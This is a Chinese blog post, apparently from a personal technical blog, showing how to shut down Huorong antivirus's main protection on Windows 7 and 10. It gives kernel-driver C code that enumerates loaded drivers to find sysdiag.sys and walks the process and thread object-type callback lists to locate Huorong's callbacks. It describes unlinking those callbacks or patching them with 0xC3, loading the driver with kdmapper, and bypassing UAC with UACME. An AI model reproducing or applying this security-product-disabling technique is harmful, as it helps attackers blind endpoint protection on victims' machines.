0%

[C][Windows]如何科学地关掉火绒(关闭火绒主防)

前言

因为看到洛谷上有人问 怎么用taskkill关掉PopBlock.exe

我就立马去尝试了一下,试了一会发现一堆方法都不行

我当然服气不了,于是当场花了一晚上整了一下

正文

0x01 尝试

首先,我们先试一下能不能用一些冷门方法钻火绒主防的漏洞

包括但不限于:排APC调用ExitProcess,内存抹0,劫持线程到无效地址等等

显然,全都失败了,不然也不会有这篇博文了

0x02 分析

火绒到底干什么了,为什么我们的方法全都不行?

使用PCHunter检查内核状态,我们可以看到,火绒的驱动sysdiag.sys挂了一堆回调

Callback1

Callback2

Callback3

在R3,如果内部逻辑完善,这些回调是几乎无法突破的屏障

看来只能写驱动了,之后再用kdmapper加载就好

0x03 目标

想要把火绒关掉,我们需要干掉的是它在PsProcessType和PsThreadType上的回调

因为这两个回调才涉及到我们把它的进程结束需要的权限问题

只要我们把这些回调干掉,即使是taskkill也能干掉火绒

0x04 实现

下文环境为Windows 7 SP1

大体来说,我们需要遍历PsProcessType和PsThreadType上的回调,找到属于sysdiag.sys的回调并删除之

听起来很简单不是吗?然而不是

具体来说,我们要做的分为几步

1.遍历已经加载的驱动模块,找到sysdiag.sys并获得他的镜像基址与大小
2.遍历PsProcessType和PsThreadType上的回调
3.对于每个回调,判断回调例程的地址是否在sysdiag.sys的镜像中,如果是,则将这个回调脱链或者向回调例程覆盖0xC3

这个实现的重点在于第一第二步,你也许觉得遍历驱动模块和回调并不是很麻烦的事情

但是确实不那么简单

这两步需要用到的相关API和结构大部分都没有公开,我们需要收集一些资料

不过好在我们并不是第一个做这些的,有许多资料可以参考,虽然大部分资料有些过时,但也让我们的工作容易很多

遍历驱动模块

网络上的资料,对于这一步大多利用的是DRIVER_OBJECT.DriverSection的未公开结构_LDR_DATA_TABLE_ENTRY中的链表来遍历驱动模块

但我们用的是kdmapper加载驱动,没有DriverObject能用,于是我们并不能用这个方法

但是没法遍历这个链表也没关系,我们还知道\Driver目录对象里存着所有的已加载驱动

你可能会想到ObReferenceObjectByName,但这个API没有公开,目录对象的ObjectType也没公开,用这个实在是太麻烦了

查阅MSDN,很容易能找到ZwOpenDirectoryObject和ObReferenceObjectByHandle是公开的,同时ObReferenceObjectByHandle不一定要指明ObjectType,简直完美

对于这个目录对象的内容,ReactOS里给出了定义,我们先搬过来用,不行再说(事实证明即使在Windows10下也可以用,虽然结构不完全一样了但对我们没有影响)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#define NUMBER_HASH_BUCKETS   37
//
// Object Directory Structures
//
typedef struct _OBJECT_DIRECTORY_ENTRY {
struct _OBJECT_DIRECTORY_ENTRY* ChainLink;
PVOID Object;
#if (NTDDI_VERSION >= NTDDI_WS03)
ULONG HashValue;
#endif
} OBJECT_DIRECTORY_ENTRY, * POBJECT_DIRECTORY_ENTRY;

typedef struct _OBJECT_DIRECTORY {
struct _OBJECT_DIRECTORY_ENTRY* HashBuckets[NUMBER_HASH_BUCKETS];
#if (NTDDI_VERSION < NTDDI_WINXP)
ERESOURCE Lock;
#else
EX_PUSH_LOCK Lock;
#endif
#if (NTDDI_VERSION < NTDDI_WINXP)
BOOLEAN CurrentEntryValid;
#else
struct _DEVICE_MAP* DeviceMap;
#endif
ULONG SessionId;
#if (NTDDI_VERSION == NTDDI_WINXP)
USHORT Reserved;
USHORT SymbolicLinkUsageCount;
#endif
} OBJECT_DIRECTORY, * POBJECT_DIRECTORY;

其中OBJECT_DIRECTORY_ENTRY.Object便是我们想要的指向DriverObject的指针了

如此,遍历驱动模块的这一步就完美地解决了,这里给出一些代码以供参考

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
UNICODE_STRING driverDirName = { 0 };
RtlInitUnicodeString(&driverDirName, L"\\Driver");
UNICODE_STRING targetDriverName = { 0 };
RtlInitUnicodeString(&targetDriverName, L"sysdiag.sys");
NTSTATUS status;

OBJECT_ATTRIBUTES attri;
InitializeObjectAttributes(&attri, &driverDirName, OBJ_KERNEL_HANDLE, NULL, NULL);

POBJECT_DIRECTORY objectDirectory;
HANDLE dirHandle;
status = ZwOpenDirectoryObject(&dirHandle, 0, &attri);

ULONG_PTR targetBase = 0;
ULONG targetSize = 0;

if (NT_SUCCESS(status)) {
status = ObReferenceObjectByHandle(dirHandle, 0, 0, KernelMode, &objectDirectory, NULL);
ZwClose(dirHandle);

if (NT_SUCCESS(status)) {
KdPrint(("Enumerating DRIVER_OBJECT\r\n"));
for (ULONG vI = 0; vI < NUMBER_HASH_BUCKETS; vI++) {
PDRIVER_OBJECT driverObject = NULL;
PLDR_DATA_TABLE_ENTRY driverSection = NULL;
POBJECT_DIRECTORY_ENTRY directoryEntry = objectDirectory->HashBuckets[vI];
while (directoryEntry && MmIsAddressValid(directoryEntry)) {
if (MmIsAddressValid(driverObject = (PDRIVER_OBJECT)directoryEntry->Object)
&& MmIsAddressValid(driverSection = (PLDR_DATA_TABLE_ENTRY)driverObject->DriverSection)) {
KdPrint(("Found: %wZ, Start: 0x%p, Size: 0x%p\r\n", &driverSection->BaseDllName, driverObject->DriverStart, driverObject->DriverSize));
if (RtlEqualUnicodeString(&driverSection->BaseDllName, &targetDriverName, TRUE)) {
KdPrint(("Found Target\r\n"));
targetBase = driverObject->DriverStart;
targetSize = driverObject->DriverSize;
}
}
directoryEntry = directoryEntry->ChainLink;
}
}
ObDereferenceObject(objectDirectory);
} else
KdPrint(("Failed ObReferenceObjectByHandle, vStatus = 0x%08X\r\n", status));
} else
KdPrint(("Failed ZwOpenDirectoryObject, vStatus = 0x%08X\r\n", status));

遍历回调

使用WinDbg运行dt _OBJECT_TYPE、dt _OBJECT_TYPE_INITIALIZER,我们可以得到这样的定义

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
typedef struct _OBJECT_TYPE_INITIALIZER {
__int16 Length; // +0x000 Length : Uint2B
UCHAR ObjectTypeFlags; // +0x002 ObjectTypeFlags : UChar
UCHAR CaseInsensitive : 1; // +0x002 CaseInsensitive : Pos 0, 1 Bit
UCHAR UnnamedObjectsOnly : 1; // +0x002 UnnamedObjectsOnly : Pos 1, 1 Bit
UCHAR UseDefaultObject : 1; // +0x002 UseDefaultObject : Pos 2, 1 Bit
UCHAR SecurityRequired : 1; // +0x002 SecurityRequired : Pos 3, 1 Bit
UCHAR MaintainHandleCount : 1; // +0x002 MaintainHandleCount : Pos 4, 1 Bit
UCHAR MaintainTypeList : 1; // +0x002 MaintainTypeList : Pos 5, 1 Bit
UCHAR SupportsObjectCallbacks : 1; // +0x002 SupportsObjectCallbacks : Pos 6, 1 Bit
UCHAR CacheAligned : 1; // +0x002 CacheAligned : Pos 7, 1 Bit
//UCHAR UseExtendedParameters : 1; // +0x003 UseExtendedParameters : Pos 0, 1 Bit
//UCHAR Reserved : 1; // +0x003 Reserved : Pos 1, 7 Bits
__int32 ObjectTypeCode; // +0x004 ObjectTypeCode : Uint4B
__int32 InvalidAttributes; // +0x008 InvalidAttributes : Uint4B
GENERIC_MAPPING GenericMapping; // +0x00c GenericMapping : _GENERIC_MAPPING
__int32 ValidAccessMask; // +0x01c ValidAccessMask : Uint4B
__int32 RetainAccess; // +0x020 RetainAccess : Uint4B
POOL_TYPE PoolType; // +0x024 PoolType : _POOL_TYPE
__int32 DefaultPagedPoolCharge; // +0x028 DefaultPagedPoolCharge : Uint4B
__int32 DefaultNonPagedPoolCharge; // +0x02c DefaultNonPagedPoolCharge : Uint4B
PVOID DumpProcedure; // 0x030 DumpProcedure : Ptr64 void
LONG* OpenProcedure; // +0x038 OpenProcedure : Ptr64 long
PVOID CloseProcedure; // +0x040 CloseProcedure : Ptr64 void
PVOID DeleteProcedure; // +0x048 DeleteProcedure : Ptr64 void
LONG* ParseProcedure; // +0x050 ParseProcedure : Ptr64 long
LONG* SecurityProcedure; // +0x058 SecurityProcedure : Ptr64 long
LONG* QueryNameProcedure; // +0x060 QueryNameProcedure : Ptr64 long
UCHAR* OkayToCloseProcedure; // +0x068 OkayToCloseProcedure : Ptr64 unsigned
}OBJECT_TYPE_INITIALIZER, * POBJECT_TYPE_INITIALIZER, ** PPOBJECT_TYPE_INITIALIZER;

typedef struct _OBJECT_TYPE {
LIST_ENTRY TypeList;
UNICODE_STRING Name;
VOID* DefaultObject;
UCHAR Index;
unsigned __int32 TotalNumberOfObjects;
unsigned __int32 TotalNumberOfHandles;
unsigned __int32 HighWaterNumberOfObjects;
unsigned __int32 HighWaterNumberOfHandles;
OBJECT_TYPE_INITIALIZER TypeInfo;
EX_PUSH_LOCK TypeLock;
unsigned __int32 Key;
LIST_ENTRY CallbackList;
}OBJECT_TYPE, * POBJECT_TYPE;

其中CallbackList,顾名思义存放着这个ObjectType上的回调

但是这个链表里存着什么呢?参考这篇博文(即使很老但仍然部分有效)

于是我们就得到了这个链表内容的定义

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
typedef struct _CALLBACK_ENTRY CALLBACK_ENTRY, * PCALLBACK_ENTRY;

typedef struct _CALLBACK_ENTRY_ITEM {
LIST_ENTRY EntryItemList;
OB_OPERATION Operations;
CALLBACK_ENTRY* CallbackEntry;
POBJECT_TYPE ObjectType;
POB_PRE_OPERATION_CALLBACK PreOperation;
POB_POST_OPERATION_CALLBACK PostOperation;
__int64 unk;
}CALLBACK_ENTRY_ITEM, * PCALLBACK_ENTRY_ITEM;

typedef struct _CALLBACK_ENTRY {
__int16 Version;
char buffer1[6];
POB_OPERATION_REGISTRATION RegistrationContext;
__int16 AltitudeLength1;
__int16 AltitudeLength2;
char buffer2[4];
WCHAR* AltitudeString;
CALLBACK_ENTRY_ITEM Items;
}CALLBACK_ENTRY, * PCALLBACK_ENTRY;

现在我们就可以遍历回调了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
PLIST_ENTRY entry = objType->CallbackList.Flink;
while (entry != &objType->CallbackList) {
PCALLBACK_ENTRY_ITEM callback = CONTAINING_RECORD(entry, CALLBACK_ENTRY_ITEM, EntryItemList);
KdPrint(("Found: Pre: 0x%p, Post: 0x%p\r\n", callback->PreOperation, callback->PostOperation));
ULONG_PTR cur = callback->PreOperation;
if (targetBase <= cur && cur < targetBase + targetSize) {
KdPrint(("Pre: 0x%p in the target\r\n", cur));
}
cur = callback->PostOperation;
if (targetBase <= cur && cur < targetBase + targetSize) {
KdPrint(("Post: 0x%p in the target\r\n", cur));
}
entry = entry->Flink;
}

禁用回调

这一步是最简单的一步了,我们找到符合要求的回调之后,当场将其脱链或向例程中覆盖0xC3即可

绕过写保护覆盖0xC3可以修改cr0或使用MDL,都比较简单

0x05 提权

这样一来我们的任务就完成了,使用kdmapper加载驱动即可

但是kdmapper还要过UAC,起点还能不能再低点?

当然可以,这里我们用到另一个知名项目UACME

用UACME的69号方法便可以成功绕过UAC了

0x06 兼容

当然,以上操作都是在Windows 7 SP1下进行的,换到Windows 10下我们还要进行一些兼容

首先,火绒的主防驱动在Windows 10改了个名,叫sysdiag_win10.sys

然后,Windows 10下_OBJECT_TYPE_INITIALIZER的结构也有所变化,并且这些变化会影响我们的程序运行,这里不再列出,读者可以自行使用WinDbg查看

其他地方经过测试并不存在问题,于是我们完成了Windows 10的兼容,就是这么简单

结语

这样一来,我们成功从未过UAC的R3一路提权到了R0,把火绒的主防关掉了,过程中火绒一点反应都没有,简直是完美

现在,taskkill PopBlock.exe

攻防没有尽头,猫抓老鼠的游戏永远不会结束。今天找到的方法也许明天就会修复,但是又总有新的方法,这就是这场游戏的魅力所在啊!